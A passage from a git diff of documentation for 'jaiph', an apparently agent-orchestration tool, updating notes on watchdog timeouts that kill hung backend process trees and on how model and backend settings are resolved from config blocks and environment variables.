The retry backoff above handles a backend that *fails*. A separate set of watchd Set any variable to `0` to disable that layer. The idle timer resets on every chunk of backend output, so a slow-but-active run is bounded only by the absolute cap. -The completion-grace layer specifically addresses the known `claude -p` failure mode where the CLI streams its final answer (and the terminal `result` event) but the process never exits — often because a descendant it spawned is still holding the output pipe open. When a watchdog fires it sends `SIGTERM`, escalating to `SIGKILL` after 5s, and tears down the runtime's handles on the child's stdio so a lingering descendant cannot keep the run alive. Under Docker, `runtime.docker_timeout_seconds` remains the outer backstop for the whole container. +The completion-grace layer specifically addresses the known `claude -p` failure mode where the CLI streams its final answer (and the terminal `result` event) but the process never exits — often because a descendant it spawned is still holding the output pipe open. When a watchdog fires it terminates the backend's whole process tree (via `killProcessTree`; see [Architecture](architecture.md)) with `SIGTERM`, escalating to `SIGKILL` after 5s, and tears down the runtime's handles on the child's stdio so a lingering descendant cannot keep the run alive. On Windows the tree is force-killed with `taskkill /T` on the first signal, so the `SIGKILL` escalation is a no-op. Under Docker, `runtime.docker_timeout_seconds` remains the outer backstop for the whole container. ## Custom agent commands diff --git a/docs/configure-backend.md b/docs/configure-backend.md index 472e89c5..d0081562 100644 --- a/docs/configure-backend.md +++ b/docs/configure-backend.md @@ -22,7 +22,7 @@ Add a module-level `config { … }` block at the top of your `.jh` file: ```jh config { agent.backend = "claude" - agent.default_model = "sonnet-4" + agent.model = "sonnet-4" } workflow default() { @@ -41,7 +41,7 @@ To use a different backend for one workflow in the same file, add a workflow-lev workflow fast_check() { config { agent.backend = "cursor" - agent.default_model = "gpt-3.5" + agent.model = "gpt-3.5" } ensure some_rule() } @@ -57,7 +57,7 @@ export JAIPH_AGENT_MODEL="sonnet-4" jaiph run ./flow.jh ``` -When set, the environment value wins over both the workflow-level and module-level `config` blocks. The CLI marks each inherited agent/run env var as locked (`JAIPH_AGENT_BACKEND_LOCKED=1`, `JAIPH_AGENT_MODEL_LOCKED=1`, …) for the lifetime of that run so in-file overrides never silently take effect. +When set, `JAIPH_AGENT_BACKEND` (and other mapped agent/run env vars) win over in-file `config` for the lifetime of that run. The CLI marks inherited agent/run env vars as locked (`JAIPH_AGENT_BACKEND_LOCKED=1`, …) so in-file overrides never silently take effect. Model is different: in-file `agent.model` does not set `JAIPH_AGENT_MODEL` — it applies per `prompt` step only. Set `JAIPH_AGENT_MODEL` in the shell to override the model for every prompt in a run. ## 4. (Codex) Override the API URL @@ -75,7 +75,13 @@ Each `prompt` step records the resolved backend and model in `run_summary.jsonl` jq -c 'select(.type=="PROMPT_START")' .jaiph/runs//